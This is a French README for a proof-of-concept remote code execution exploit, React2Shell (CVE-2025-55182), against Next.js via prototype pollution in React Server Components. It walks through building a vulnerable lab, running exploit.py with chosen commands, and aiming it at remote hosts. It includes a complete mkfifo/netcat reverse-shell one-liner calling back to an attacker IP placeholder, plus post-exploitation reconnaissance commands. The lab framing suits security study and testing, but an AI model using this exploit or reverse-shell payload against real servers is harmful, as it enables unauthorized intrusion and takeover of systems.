React2Shell CVE-2025-55182

Un exploit de preuve de concept démontrant une vulnérabilité d'exécution de code à distance dans les applications Next.js via une pollution de prototype dans le pipeline de rendu des composants serveur React.

⚠️ Avertissement

Cet outil est réservé à des fins éducatives et de tests autorisés uniquement. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas la permission de tester est illégale.

📋 Prérequis

• Node.js (v16 ou version ultérieure)
• Python 3.6+
• netcat (pour les reverse shells)
• Une application Next.js vulnérable (incluse dans ce dépôt)

🚀 Démarrage rapide

Option 1 : Utiliser le laboratoire préconfiguré

1. Cloner le dépôt

git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182

Option 2 : Créer le serveur à partir de zéro

# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab

Remarque : Le laboratoire préconfiguré inclut déjà le code vulnérable nécessaire. Si vous créez le projet à partir de zéro, vous devrez ajouter manuellement les composants vulnérables.

2. Installer les dépendances

cd react2shell-lab
npm install

3. Démarrer le serveur vulnérable

Dans le terminal 1 :

npm run dev

Le serveur devrait démarrer sur http://localhost:3000

🔧 Exploitation

Exécution de commandes de base

1. Le dépôt contient un fichier exploit.py qui démontre la vulnérabilité. Modifiez la variable COMMAND dans le fichier avec la commande souhaitée :

   root@kitploit:~

   COMMAND = 'whoami'  # Change this to any command you want to execute
   

2. Exécutez l'exploit :

   root@kitploit:~

   python3 exploit.py
   

Reverse Shell

1. Configurez un écouteur netcat dans un nouveau terminal :

   root@kitploit:~

   nc -nvlp 4444
   

2. Modifiez exploit.py et mettez à jour la commande avec votre charge utile de reverse shell :

   root@kitploit:~

   COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
   

   Remplacez YOUR_IP par l'adresse IP de votre machine locale.

3. Exécutez l'exploit :

   root@kitploit:~

   python3 exploit.py
   

🛠️ Utilisation avancée

Tester des cibles distantes

Modifiez la variable HOST dans le script d'exploit pour cibler des serveurs distants :

HOST = 'target-ip-address'  # Replace with target IP
PORT = 3000  # Default Next.js port

Commandes courantes

• Lister le contenu du répertoire : ls -la
• Obtenir les informations système : uname -a
• Obtenir l'utilisateur actuel : whoami
• Obtenir les informations réseau : ifconfig ou ip a

🔍 Dépannage

• Connexion refusée : Assurez-vous que le serveur cible est en cours d'exécution et accessible
• Commande introuvable : Le système cible pourrait ne pas avoir certains binaires installés
• Aucune sortie : La commande a peut-être été exécutée mais n'a produit aucune sortie

📚 Références

• CVE-2025-55182
• Avis de sécurité Next.js
• Pollution de prototype en JavaScript

📄 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Cette version demande à l'utilisateur de saisir la cible distante ainsi que les IP et ports de l'attaquant. Le corps de la requête POST (body_parts) est également légèrement réduit dans cette version.

Sources :

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182